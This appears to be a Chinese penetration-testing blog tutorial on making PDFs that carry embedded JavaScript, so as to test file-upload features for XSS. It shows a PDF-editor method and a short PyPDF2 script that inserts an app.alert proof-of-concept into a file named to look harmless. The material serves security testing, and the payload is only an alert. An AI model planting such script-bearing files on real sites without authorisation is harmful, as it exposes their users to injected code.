【渗透测试】借助PDF进行XSS漏洞攻击

简介

在平时工作渗透测试一个系统时,常常会遇到文件上传功能点,其中大部分会有白名单或者黑名单机制,很难一句话木马上传成功,而PDF则是被忽略的一个点,可以让测试报告更丰富一些。

含有XSS的PDF制作步骤

1. 编辑器生成含有XSS的PDF

下载PDF编辑器
迅捷PDF编辑器 - 多功能的PDF编辑软件

新建一个文档
点击编辑器左下角的文件属性选择Javascript->添加->输入恶意XSS代码

app.alert('xss');

利用 JavaScript 进行攻击时只能使用 Adobe 所支持的功能

保存后,使用浏览器打开
弹框成功

2.Python生成含有XSS的PDF

若不想PDF带水印,还可以使用Python编写poc制作含有XSS的PDF

安装第三方库:

pip install PyPDF2 -i https://pypi.tuna.tsinghua.edu.cn/simple

python 复制代码
from PyPDF2 import PdfReader,PdfWriter

new_PDF = PdfWriter()
# 写入JavaScript代码
new_PDF.add_js("app.alert('xss');")
f = open("没有危害的PDF.pdf","wb")
new_PDF.write(f)
f.close() 
相关推荐
bearpping2 小时前
Nginx 配置:alias 和 root 的区别
前端·javascript·nginx
@大迁世界2 小时前
07.React 中的 createRoot 方法是什么?它具体如何运作?
前端·javascript·react.js·前端框架·ecmascript
January12072 小时前
VBen Admin Select 选择框选中后仍然显示校验错误提示的解决方案
前端·vben
. . . . .2 小时前
前端测试框架:Vitest
前端
xiaotao1313 小时前
什么是 Tailwind CSS
前端·css·css3
战南诚4 小时前
VUE中,keep-alive组件与钩子函数的生命周期
前端·vue.js
发现一只大呆瓜4 小时前
React-彻底搞懂 Redux:从单向数据流到 useReducer 的终极抉择
前端·react.js·面试
霍理迪4 小时前
Vue的响应式和生命周期
前端·javascript·vue.js
李剑一4 小时前
别再瞎写了!Cesium 模型 360° 环绕,4 套源码全公开,项目直接用
前端